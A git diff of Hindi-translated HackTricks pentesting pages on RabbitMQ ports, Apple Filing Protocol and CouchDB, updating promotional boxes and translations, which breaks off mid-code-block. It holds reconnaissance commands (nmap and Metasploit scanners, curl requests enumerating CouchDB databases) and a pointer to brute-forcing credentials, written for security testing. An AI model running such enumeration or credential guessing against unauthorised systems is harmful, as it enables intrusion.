* 35672-35682: CLI टूल्स (Erlang वितरण क्लाइंट पोर्ट्स) द्वारा नोड्स के साथ संचार के लिए उपयोग किया जाता है और इसे एक गतिशील रेंज से आवंटित किया गया है (सर्वर वितरण पोर्ट + 10000 से लेकर सर्वर वितरण पोर्ट + 10010 तक गणना की गई)। विवरण के लिए [नेटवर्किंग गाइड](https://www.rabbitmq.com/networking.html) देखें।
|
||||||
* 61613, 61614: [STOMP clients](https://stomp.github.io/stomp-specification-1.2.html) without and with TLS (only if the [STOMP plugin](https://www.rabbitmq.com/stomp.html) is enabled). Less than 10 devices with this port open and mostly UDP for DHT nodes.
|
* 61613, 61614: [STOMP क्लाइंट्स](https://stomp.github.io/stomp-specification-1.2.html) बिना और TLS के साथ (केवल यदि [STOMP प्लगइन](https://www.rabbitmq.com/stomp.html) सक्षम है)। इस पोर्ट के साथ 10 से कम उपकरण खुले हैं और ज्यादातर DHT नोड्स के लिए UDP है।
|
||||||
|
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
* `AMQP`
|
* `AMQP`
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Other ways to support HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
||||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,55 +1,57 @@
|
||||||
# 548 - Pentesting Apple Filing Protocol (AFP)
|
# 548 - Pentesting Apple Filing Protocol (AFP)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में** देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
## मौलिक जानकारी
|
## Basic Information
|
||||||
|
|
||||||
**एप्पल फाइलिंग प्रोटोकॉल** (**AFP**), जिसे पहले एप्पलटॉक फाइलिंग प्रोटोकॉल के रूप में जाना जाता था, एक विशेष नेटवर्क प्रोटोकॉल है जो **एप्पल फाइल सेवा** (**AFS**) के भीतर शामिल है। यह macOS और क्लासिक मैक ओएस के लिए फ़ाइल सेवाएं प्रदान करने के लिए डिज़ाइन किया गया है। AFP यूनिकोड फ़ाइल नाम, POSIX और एक्सेस कंट्रोल सूची अनुमतियाँ, संसाधन फोर्क, नामित विस्तारित गुण, और विविध फ़ाइल लॉकिंग तंत्रों का समर्थन करने के लिए उभरता है। यह Mac OS 9 और पुराने संस्करणों में फ़ाइल सेवाओं के लिए मुख्य प्रोटोकॉल था।
|
**Apple Filing Protocol** (**AFP**), जिसे पहले AppleTalk Filing Protocol के नाम से जाना जाता था, एक विशेष नेटवर्क प्रोटोकॉल है जो **Apple File Service** (**AFS**) के अंतर्गत आता है। इसे macOS और क्लासिक Mac OS के लिए फ़ाइल सेवाएँ प्रदान करने के लिए डिज़ाइन किया गया है। AFP यूनिकोड फ़ाइल नामों, POSIX और एक्सेस कंट्रोल लिस्ट अनुमतियों, संसाधन फोर्क्स, नामित विस्तारित विशेषताओं, और जटिल फ़ाइल लॉकिंग तंत्र का समर्थन करने के लिए खड़ा है। यह Mac OS 9 और उससे पहले के संस्करणों में फ़ाइल सेवाओं के लिए मुख्य प्रोटोकॉल था।
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट:** 548
|
**डिफ़ॉल्ट पोर्ट:** 548
|
||||||
```bash
|
```bash
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
548/tcp open afp
|
548/tcp open afp
|
||||||
```
|
```
|
||||||
### **जाँच**
|
### **Enumeration**
|
||||||
|
|
||||||
AFP सेवाओं की जाँच के लिए निम्नलिखित कमांड और स्क्रिप्ट उपयोगी हैं:
|
AFP सेवाओं की गणना के लिए, निम्नलिखित कमांड और स्क्रिप्ट उपयोगी हैं:
|
||||||
```bash
|
```bash
|
||||||
msf> use auxiliary/scanner/afp/afp_server_info
|
msf> use auxiliary/scanner/afp/afp_server_info
|
||||||
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
|
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
|
||||||
```
|
```
|
||||||
**स्क्रिप्ट और उनके विवरण:**
|
**Scripts और उनके विवरण:**
|
||||||
|
|
||||||
- **afp-ls**: यह स्क्रिप्ट उपलब्ध AFP वॉल्यूम और फ़ाइलों की सूची बनाने के लिए उपयोग किया जाता है।
|
- **afp-ls**: यह स्क्रिप्ट उपलब्ध AFP वॉल्यूम और फ़ाइलों की सूची बनाने के लिए उपयोग की जाती है।
|
||||||
- **afp-path-vuln**: यह सभी AFP वॉल्यूम और फ़ाइलों की सूची बनाता है, संभावित सुरक्षा दोषों को हाइलाइट करता है।
|
- **afp-path-vuln**: यह सभी AFP वॉल्यूम और फ़ाइलों की सूची बनाती है, संभावित कमजोरियों को उजागर करती है।
|
||||||
- **afp-serverinfo**: यह AFP सर्वर के बारे में विस्तृत जानकारी प्रदान करता है।
|
- **afp-serverinfo**: यह AFP सर्वर के बारे में विस्तृत जानकारी प्रदान करता है।
|
||||||
- **afp-showmount**: यह उपलब्ध AFP साझाएं की सूची बनाता है उनके संबंधित ACLs के साथ।
|
- **afp-showmount**: यह उपलब्ध AFP शेयरों की सूची बनाती है साथ ही उनके संबंधित ACLs के साथ।
|
||||||
|
|
||||||
### [**ब्रूट फोर्स**](../generic-methodologies-and-resources/brute-force.md#afp)
|
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#afp)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड गिटहब रेपो में **पीआर जमा करके**।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,24 +1,25 @@
|
||||||
# 5984,6984 - पेंटेस्टिंग CouchDB
|
# 5984,6984 - Pentesting CouchDB
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## **मूल जानकारी**
|
## **बुनियादी जानकारी**
|
||||||
|
|
||||||
**CouchDB** एक बहुमुखी और शक्तिशाली **दस्तावेज-अभिव्यक्त डेटाबेस** है जो प्रत्येक **दस्तावेज** में **कुंजी-मान मानचित्र** संरचित करता है। दस्तावेज के भीतर क्षेत्र **कुंजी/मान जोड़े, सूची या मानचित्र** के रूप में प्रस्तुत किए जा सकते हैं, जो डेटा भंडारण और पुनर्प्राप्ति में लचीलाई प्रदान करता है।
|
**CouchDB** एक बहुपरकारी और शक्तिशाली **दस्तावेज़-उन्मुख डेटाबेस** है जो डेटा को प्रत्येक **दस्तावेज़** के भीतर **की-मान मानचित्र** संरचना का उपयोग करके व्यवस्थित करता है। दस्तावेज़ के भीतर फ़ील्ड को **की/मान जोड़े, सूचियों, या मानचित्रों** के रूप में दर्शाया जा सकता है, जो डेटा संग्रहण और पुनर्प्राप्ति में लचीलापन प्रदान करता है।
|
||||||
|
|
||||||
CouchDB में संग्रहित प्रत्येक **दस्तावेज** को दस्तावेज स्तर पर एक **अद्वितीय पहचानकर्ता** (`_id`) सौंपा जाता है। इसके अतिरिक्त, डेटाबेस में की गई प्रत्येक संशोधन को एक **संशोधन संख्या** (`_rev`) सौंपी जाती है। यह संशोधन संख्या परिवर्तनों का **ट्रैकिंग और प्रबंधन** करने की अनुमति देती है, जिससे डेटाबेस में डेटा को आसानी से पुनर्प्राप्ति और समक्रमण किया जा सकता है।
|
CouchDB में संग्रहीत प्रत्येक **दस्तावेज़** को दस्तावेज़ स्तर पर एक **विशिष्ट पहचानकर्ता** (`_id`) सौंपा जाता है। इसके अतिरिक्त, डेटाबेस में किए गए और सहेजे गए प्रत्येक संशोधन को एक **संशोधन संख्या** (`_rev`) सौंपा जाता है। यह संशोधन संख्या **परिवर्तनों के कुशल ट्रैकिंग और प्रबंधन** की अनुमति देती है, जिससे डेटाबेस के भीतर डेटा की आसान पुनर्प्राप्ति और समन्वय की सुविधा होती है।
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट:** 5984(http), 6984(https)
|
**डिफ़ॉल्ट पोर्ट:** 5984(http), 6984(https)
|
||||||
```
|
```
|
||||||
|
@ -30,61 +31,61 @@ PORT STATE SERVICE REASON
|
||||||
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
|
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
|
||||||
msf> use auxiliary/scanner/couchdb/couchdb_enum
|
msf> use auxiliary/scanner/couchdb/couchdb_enum
|
||||||
```
|
```
|
||||||
## मैनुअल जांच
|
## मैनुअल एन्यूमरेशन
|
||||||
|
|
||||||
### बैनर
|
### बैनर
|
||||||
```
|
```
|
||||||
curl http://IP:5984/
|
curl http://IP:5984/
|
||||||
```
|
```
|
||||||
यह एक GET अनुरोध को स्थापित CouchDB इंस्टेंस पर जारी करता है। जवाब कुछ इस प्रकार का दिखना चाहिए:
|
यह स्थापित CouchDB उदाहरण के लिए एक GET अनुरोध जारी करता है। उत्तर कुछ इस तरह दिखना चाहिए:
|
||||||
```bash
|
```bash
|
||||||
{"couchdb":"Welcome","version":"0.10.1"}
|
{"couchdb":"Welcome","version":"0.10.1"}
|
||||||
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
कृपया ध्यान दें कि यदि काउचडीबी के रूट तक पहुंचने पर आपको `401 अनधिकृत` मिलता है और कुछ इस प्रकार का संदेश दिखाई देता है: `{"error":"unauthorized","reason":"Authentication required."}` तो **आपको** बैनर या किसी अन्य एंडप्वाइंट तक पहुंचने की अनुमति नहीं होगी।
|
ध्यान दें कि यदि आप couchdb की रूट तक पहुँचते हैं और आपको `401 Unauthorized` मिलता है, जैसे कि: `{"error":"unauthorized","reason":"Authentication required."}` **आप बैनर या किसी अन्य एंडपॉइंट तक पहुँच नहीं पाएंगे**।
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### सूचना गणना
|
### Info Enumeration
|
||||||
|
|
||||||
ये एंडप्वाइंट्स हैं जहाँ आप **GET** अनुरोध के साथ पहुंच सकते हैं और कुछ दिलचस्प जानकारी निकाल सकते हैं। आप [**काउचडीबी दस्तावेज़ीकरण में अधिक एंडप्वाइंट्स और विस्तृत विवरण पा सकते हैं**](https://docs.couchdb.org/en/latest/api/index.html)।
|
ये वे एंडपॉइंट हैं जहाँ आप **GET** अनुरोध के साथ पहुँच सकते हैं और कुछ दिलचस्प जानकारी निकाल सकते हैं। आप [**couchdb दस्तावेज़ में अधिक एंडपॉइंट और अधिक विस्तृत विवरण पा सकते हैं**](https://docs.couchdb.org/en/latest/api/index.html)।
|
||||||
|
|
||||||
* **`/_active_tasks`** चल रहे कार्यों की सूची, जिसमें कार्य का प्रकार, नाम, स्थिति और प्रक्रिया आईडी शामिल है।
|
* **`/_active_tasks`** चल रहे कार्यों की सूची, जिसमें कार्य का प्रकार, नाम, स्थिति और प्रक्रिया ID शामिल है।
|
||||||
* **`/_all_dbs`** काउचडीबी उदाहरण में सभी डेटाबेस की सूची लौटाता है।
|
* **`/_all_dbs`** CouchDB उदाहरण में सभी डेटाबेस की सूची लौटाता है।
|
||||||
* **`/_cluster_setup`** नोड या क्लस्टर की स्थिति, क्लस्टर सेटअप विज़ार्ड के अनुसार लौटाता है।
|
* **`/_cluster_setup`** नोड या क्लस्टर की स्थिति लौटाता है, क्लस्टर सेटअप विज़ार्ड के अनुसार।
|
||||||
* **`/_db_updates`** काउचडीबी उदाहरण में सभी डेटाबेस घटनाओं की सूची लौटाता है। इस एंडप्वाइंट का उपयोग करने के लिए `_global_changes` डेटाबेस की मौजूदगी आवश्यक है।
|
* **`/_db_updates`** CouchDB उदाहरण में सभी डेटाबेस घटनाओं की सूची लौटाता है। इस एंडपॉइंट का उपयोग करने के लिए `_global_changes` डेटाबेस का अस्तित्व आवश्यक है।
|
||||||
* **`/_membership`** `cluster_nodes` के रूप में क्लस्टर का हिस्सा बने नोड दिखाता है। `all_nodes` फ़ील्ड उन सभी नोड्स को दिखाता है जिनके बारे में यह नोड जानता है, जिसमें क्लस्टर का हिस्सा है।
|
* **`/_membership`** क्लस्टर का हिस्सा होने वाले नोड्स को `cluster_nodes` के रूप में प्रदर्शित करता है। फ़ील्ड `all_nodes` उन सभी नोड्स को प्रदर्शित करता है जिनके बारे में इस नोड को पता है, जिसमें क्लस्टर का हिस्सा होने वाले नोड्स भी शामिल हैं।
|
||||||
* **`/_scheduler/jobs`** प्रतिलिपि कार्यों की सूची। प्रत्येक कार्य विवरण में स्रोत और लक्ष्य सूचना, प्रतिलिपि आईडी, हाल की घटना का इतिहास, और कुछ अन्य चीज़ें शामिल होंगी।
|
* **`/_scheduler/jobs`** पुनरावृत्ति कार्यों की सूची। प्रत्येक कार्य विवरण में स्रोत और लक्ष्य जानकारी, पुनरावृत्ति ID, हाल की घटनाओं का इतिहास, और कुछ अन्य चीजें शामिल होंगी।
|
||||||
* **`/_scheduler/docs`** प्रतिलिपि दस्तावेज़ स्थितियों की सूची। `completed` और `failed` स्थितियों में भी सभी दस्तावेज़ों के बारे में जानकारी शामिल है। प्रत्येक दस्तावेज़ के लिए यह दस्तावेज़ आईडी, डेटाबेस, प्रतिलिपि आईडी, स्रोत और लक्ष्य, और अन्य जानकारी लौटाता है।
|
* **`/_scheduler/docs`** पुनरावृत्ति दस्तावेज़ राज्यों की सूची। सभी दस्तावेज़ों के बारे में जानकारी शामिल है, यहां तक कि `completed` और `failed` राज्यों में भी। प्रत्येक दस्तावेज़ के लिए यह दस्तावेज़ ID, डेटाबेस, पुनरावृत्ति ID, स्रोत और लक्ष्य, और अन्य जानकारी लौटाता है।
|
||||||
* **`/_scheduler/docs/{replicator_db}`**
|
* **`/_scheduler/docs/{replicator_db}`**
|
||||||
* **`/_scheduler/docs/{replicator_db}/{docid}`**
|
* **`/_scheduler/docs/{replicator_db}/{docid}`**
|
||||||
* **`/_node/{node-name}`** `/_node/{node-name}` एंडप्वाइंट का उपयोग करके आप अनुरोध प्रसंस्करण करने वाले सर्वर के एरलैंग नोड नाम की पुष्टि करने के लिए किया जा सकता है। यह सबसे उपयोगी होता है जब `/_node/_local` तक पहुंचने के लिए इस जानकारी को पुनः प्राप्त करना हो।
|
* **`/_node/{node-name}`** `/_node/{node-name}` एंडपॉइंट का उपयोग उस सर्वर के Erlang नोड नाम की पुष्टि करने के लिए किया जा सकता है जो अनुरोध को संसाधित करता है। यह `/_node/_local` तक पहुँचने पर इस जानकारी को प्राप्त करने के लिए सबसे उपयोगी है।
|
||||||
* **`/_node/{node-name}/_stats`** `_stats` संसाधन एक चल रहे सर्वर के लिए आँकड़े समेत एक JSON ऑब्जेक्ट लौटाता है। शब्दकोशीय स्ट्रिंग `_local` स्थानीय नोड नाम के लिए एक उपनाम के रूप में काम करता है, इसलिए सभी आँकड़े URL के लिए, `{node-name}` को `_local` से बदला जा सकता है, स्थानीय नोड के आँकड़ों के साथ संवाद करने के लिए।
|
* **`/_node/{node-name}/_stats`** `_stats` संसाधन एक JSON ऑब्जेक्ट लौटाता है जिसमें चल रहे सर्वर के लिए सांख्यिकी होती है। शाब्दिक स्ट्रिंग `_local` स्थानीय नोड नाम के लिए एक उपनाम के रूप में कार्य करता है, इसलिए सभी सांख्यिकी URL के लिए, `{node-name}` को `_local` के साथ प्रतिस्थापित किया जा सकता है, ताकि स्थानीय नोड की सांख्यिकी के साथ बातचीत की जा सके।
|
||||||
* **`/_node/{node-name}/_system`** \_system संसाधन एक चल रहे सर्वर के लिए विभिन्न सिस्टम स्तरीय आँकड़े समेत एक JSON ऑब्जेक्ट लौटाता है। आप \_\_`_local` का उपयोग कर सकते हैं जैसे {node-name} वर्तमान नोड जानकारी प्राप्त करने के लिए।
|
* **`/_node/{node-name}/_system`** \_systemresource एक JSON ऑब्जेक्ट लौटाता है जिसमें चल रहे सर्वर के लिए विभिन्न सिस्टम-स्तरीय सांख्यिकी होती है\_.\_ आप वर्तमान नोड जानकारी प्राप्त करने के लिए {node-name} के रूप में \_\_`_local` का उपयोग कर सकते हैं।
|
||||||
* **`/_node/{node-name}/_restart`**
|
* **`/_node/{node-name}/_restart`**
|
||||||
* **`/_up`** सत्यापित करता है कि सर्वर चालू है, चल रहा है, और अनुरोधों का जवाब देने के लिए तैयार है। यदि [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) `true` या `nolb` है, तो एंडप्वाइंट एक 404 प्रतिक्रिया लौटाएगा।
|
* **`/_up`** पुष्टि करता है कि सर्वर चालू है, चल रहा है, और अनुरोधों का उत्तर देने के लिए तैयार है। यदि [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) `true` या `nolb` है, तो एंडपॉइंट 404 प्रतिक्रिया लौटाएगा।
|
||||||
* **`/_uuids`** काउचडीबी उदाहरण से एक या एक से अधिक यूनिवर्सली अद्वितीय पहचानकर्ता (UUIDs) का अनुरोध करता है।
|
* **`/_uuids`** CouchDB उदाहरण से एक या अधिक यूनिवर्सली यूनिक आइडेंटिफायर (UUIDs) का अनुरोध करता है।
|
||||||
* **`/_reshard`** क्लस्टर पर पूर्ण, विफल, चल रहे, रोके गए, और कुल कार्यों की गणना के साथ रीशार्डिंग की स्थिति लौटाता है।
|
* **`/_reshard`** क्लस्टर पर पुनःशार्दन की स्थिति के साथ पूर्ण, विफल, चल रहे, रुके हुए, और कुल कार्यों की संख्या लौटाता है।
|
||||||
|
|
||||||
यहाँ विस्तार से समझाया गया है कि और भी दिलचस्प जानकारी निकाली जा सकती है: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
यहाँ समझाए गए अनुसार अधिक दिलचस्प जानकारी निकाली जा सकती है: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
||||||
|
|
||||||
### **डेटाबेस सूची**
|
### **Database List**
|
||||||
```
|
```
|
||||||
curl -X GET http://IP:5984/_all_dbs
|
curl -X GET http://IP:5984/_all_dbs
|
||||||
```
|
```
|
||||||
यदि उस अनुरोध का **401 अनधिकृत** जवाब देता है, तो आपको डेटाबेस तक पहुंचने के लिए कुछ **वैध प्रमाण पत्र** की आवश्यकता है:
|
यदि वह अनुरोध **401 अनधिकृत** के साथ प्रतिक्रिया करता है, तो आपको डेटाबेस तक पहुँचने के लिए कुछ **मान्य क्रेडेंशियल्स** की आवश्यकता है:
|
||||||
```
|
```
|
||||||
curl -X GET http://user:password@IP:5984/_all_dbs
|
curl -X GET http://user:password@IP:5984/_all_dbs
|
||||||
```
|
```
|
||||||
**वैध क्रेडेंशियल्स** खोजने के लिए आप **सेवा को ब्रूटफोर्स करने** की **कोशिश** कर सकते हैं।
|
Valid Credentials खोजने के लिए आप **कोशिश कर सकते हैं** [**सेवा को ब्रूटफोर्स करें**](../generic-methodologies-and-resources/brute-force.md#couchdb).
|
||||||
|
|
||||||
यह एक couchdb **प्रतिक्रिया का उदाहरण** है जब आपके पास **पर्याप्त विशेषाधिकार** होते हैं ताकि आप डेटाबेसों की सूची बना सकें (यह केवल डेटाबेसों की एक सूची है):
|
यह एक **उदाहरण** है एक couchdb **प्रतिक्रिया** का जब आपके पास **पर्याप्त विशेषाधिकार** होते हैं डेटाबेस की सूची बनाने के लिए (यह केवल डेटाबेस की एक सूची है):
|
||||||
```bash
|
```bash
|
||||||
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
|
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
|
||||||
```
|
```
|
||||||
### डेटाबेस जानकारी
|
### Database Info
|
||||||
|
|
||||||
आप डेटाबेस नाम का उपयोग करके कुछ डेटाबेस जानकारी (जैसे फ़ाइलों की संख्या और आकार) प्राप्त कर सकते हैं:
|
आप कुछ डेटाबेस जानकारी (जैसे फ़ाइलों की संख्या और आकार) डेटाबेस नाम तक पहुँचकर प्राप्त कर सकते हैं:
|
||||||
```bash
|
```bash
|
||||||
curl http://IP:5984/<database>
|
curl http://IP:5984/<database>
|
||||||
curl http://localhost:5984/simpsons
|
curl http://localhost:5984/simpsons
|
||||||
|
@ -93,7 +94,7 @@ curl http://localhost:5984/simpsons
|
||||||
```
|
```
|
||||||
### **दस्तावेज़ सूची**
|
### **दस्तावेज़ सूची**
|
||||||
|
|
||||||
डेटाबेस के भीतर प्रत्येक प्रविष्टि की सूची बनाएं
|
डेटाबेस के अंदर प्रत्येक प्रविष्टि की सूची बनाएं
|
||||||
```bash
|
```bash
|
||||||
